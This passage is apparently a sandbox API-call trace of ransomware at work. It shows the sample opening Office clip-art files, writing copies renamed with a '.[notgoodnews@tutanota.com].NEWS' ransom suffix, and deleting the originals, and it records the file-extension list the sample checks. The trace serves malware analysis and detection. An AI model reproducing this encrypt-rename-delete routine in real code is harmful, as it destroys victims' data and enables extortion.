lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x9120, lpOverlapped=0x0) returned 1 [0167.518] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.518] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.518] SetEndOfFile (hFile=0x53c) returned 1 [0167.518] CloseHandle (hObject=0x53c) returned 1 [0167.518] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.518] SetEndOfFile (hFile=0x514) returned 1 [0167.523] CloseHandle (hObject=0x514) returned 1 [0167.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0167.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.526] lstrlenW (lpString=".doc") returned 4 [0167.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.526] lstrlenW (lpString=".docx") returned 5 [0167.526] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0167.526] lstrlenW (lpString=".pdf") returned 4 [0167.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.526] lstrlenW (lpString=".xls") returned 4 [0167.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.527] lstrlenW (lpString=".xlsx") returned 5 [0167.527] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0167.527] lstrlenW (lpString=".ppt") returned 4 [0167.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.527] lstrlenW (lpString=".zip") returned 4 [0167.527] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.527] lstrlenW (lpString=".rar") returned 4 [0167.527] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.527] lstrlenW (lpString=".bz2") returned 4 [0167.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.527] lstrlenW (lpString=".7z") returned 3 [0167.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.527] lstrlenW (lpString=".dbf") returned 4 [0167.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.527] lstrlenW (lpString=".1cd") returned 4 [0167.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.527] lstrlenW (lpString=".jpg") returned 4 [0167.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.527] lstrlenW (lpString=".doc") returned 4 [0167.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.527] lstrlenW (lpString=".docx") returned 5 [0167.528] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0167.528] lstrlenW (lpString=".pdf") returned 4 [0167.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.528] lstrlenW (lpString=".xls") returned 4 [0167.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.528] lstrlenW (lpString=".xlsx") returned 5 [0167.528] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0167.528] lstrlenW (lpString=".ppt") returned 4 [0167.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.528] lstrlenW (lpString=".zip") returned 4 [0167.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.528] lstrlenW (lpString=".rar") returned 4 [0167.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.528] lstrlenW (lpString=".bz2") returned 4 [0167.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.528] lstrlenW (lpString=".7z") returned 3 [0167.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.528] lstrlenW (lpString=".dbf") returned 4 [0167.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.528] lstrlenW (lpString=".1cd") returned 4 [0167.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68 [0167.528] lstrlenW (lpString=".jpg") returned 4 [0167.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.529] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.529] lstrlenW (lpString="J0099177.WMF") returned 12 [0167.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.529] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=5386) returned 1 [0167.529] CloseHandle (hObject=0x514) returned 1 [0167.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 0x220 [0167.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.530] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.530] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.532] GetLastError () returned 0x0 [0167.532] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x150a, lpOverlapped=0x0) returned 1 [0167.534] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1510, lpOverlapped=0x0) returned 1 [0167.535] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.535] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.535] SetEndOfFile (hFile=0x53c) returned 1 [0167.536] CloseHandle (hObject=0x53c) returned 1 [0167.536] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.536] SetEndOfFile (hFile=0x514) returned 1 [0167.539] CloseHandle (hObject=0x514) returned 1 [0167.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0167.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099177.wmf")) returned 1 [0167.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.541] lstrlenW (lpString=".doc") returned 4 [0167.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString=".docx") returned 5 [0167.541] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0167.541] lstrlenW (lpString=".pdf") returned 4 [0167.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.541] lstrlenW (lpString=".xls") returned 4 [0167.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.541] lstrlenW (lpString=".xlsx") returned 5 [0167.541] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0167.541] lstrlenW (lpString=".ppt") returned 4 [0167.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.542] lstrlenW (lpString=".zip") returned 4 [0167.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.542] lstrlenW (lpString=".rar") returned 4 [0167.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString=".bz2") returned 4 [0167.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString=".7z") returned 3 [0167.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.542] lstrlenW (lpString=".dbf") returned 4 [0167.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.542] lstrlenW (lpString=".1cd") returned 4 [0167.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.542] lstrlenW (lpString=".jpg") returned 4 [0167.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.542] lstrlenW (lpString=".doc") returned 4 [0167.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0167.542] lstrlenW (lpString=".docx") returned 5 [0167.542] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0167.542] lstrlenW (lpString=".pdf") returned 4 [0167.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0167.543] lstrlenW (lpString=".xls") returned 4 [0167.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0167.543] lstrlenW (lpString=".xlsx") returned 5 [0167.543] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0167.543] lstrlenW (lpString=".ppt") returned 4 [0167.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0167.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.543] lstrlenW (lpString=".zip") returned 4 [0167.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0167.543] lstrlenW (lpString=".rar") returned 4 [0167.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0167.543] lstrlenW (lpString=".bz2") returned 4 [0167.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0167.543] lstrlenW (lpString=".7z") returned 3 [0167.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0167.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.543] lstrlenW (lpString=".dbf") returned 4 [0167.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0167.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.543] lstrlenW (lpString=".1cd") returned 4 [0167.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0167.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68 [0167.543] lstrlenW (lpString=".jpg") returned 4 [0167.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0167.544] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0167.544] lstrlenW (lpString="J0099178.WMF") returned 12 [0167.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.544] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3606) returned 1 [0167.545] CloseHandle (hObject=0x514) returned 1 [0167.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0167.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0167.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0167.545] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.546] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0167.547] GetLastError () returned 0x0 [0167.547] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0xe16, lpOverlapped=0x0) returned 1 [0167.731] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xe20, lpOverlapped=0x0) returned 1 [0167.733] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0167.733] WriteFile (in: hFile=0x53c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0167.733] SetEndOfFile (hFile=0x53c) returned 1 [0167.782] CloseHandle (hObject=0x53c) returned 1 [0167.782] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0167.782] SetEndOfFile (hFile=0x514) returned 1 [0167.786] CloseHandle (hObject=0x514) returned 1 [0167.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0168.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.164] lstrlenW (lpString=".doc") returned 4 [0168.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.164] lstrlenW (lpString=".docx") returned 5 [0168.164] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.164] lstrlenW (lpString=".pdf") returned 4 [0168.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.165] lstrlenW (lpString=".xls") returned 4 [0168.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.165] lstrlenW (lpString=".xlsx") returned 5 [0168.165] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.165] lstrlenW (lpString=".ppt") returned 4 [0168.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.165] lstrlenW (lpString=".zip") returned 4 [0168.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.165] lstrlenW (lpString=".rar") returned 4 [0168.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.165] lstrlenW (lpString=".bz2") returned 4 [0168.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.165] lstrlenW (lpString=".7z") returned 3 [0168.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.165] lstrlenW (lpString=".dbf") returned 4 [0168.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.165] lstrlenW (lpString=".1cd") returned 4 [0168.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.165] lstrlenW (lpString=".jpg") returned 4 [0168.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.166] lstrlenW (lpString=".doc") returned 4 [0168.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.166] lstrlenW (lpString=".docx") returned 5 [0168.166] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0168.166] lstrlenW (lpString=".pdf") returned 4 [0168.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.166] lstrlenW (lpString=".xls") returned 4 [0168.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.166] lstrlenW (lpString=".xlsx") returned 5 [0168.166] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0168.166] lstrlenW (lpString=".ppt") returned 4 [0168.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.166] lstrlenW (lpString=".zip") returned 4 [0168.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.166] lstrlenW (lpString=".rar") returned 4 [0168.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.166] lstrlenW (lpString=".bz2") returned 4 [0168.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.166] lstrlenW (lpString=".7z") returned 3 [0168.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.166] lstrlenW (lpString=".dbf") returned 4 [0168.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.166] lstrlenW (lpString=".1cd") returned 4 [0168.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0168.167] lstrlenW (lpString=".jpg") returned 4 [0168.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.167] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0168.167] lstrlenW (lpString="J0099187.JPG") returned 12 [0168.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.168] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=24528) returned 1 [0168.168] CloseHandle (hObject=0x514) returned 1 [0168.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0168.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.169] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.169] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0168.170] GetLastError () returned 0x0 [0168.170] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0168.175] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0168.177] ReadFile (in: hFile=0x514, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.177] WriteFile (in: hFile=0x454, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, 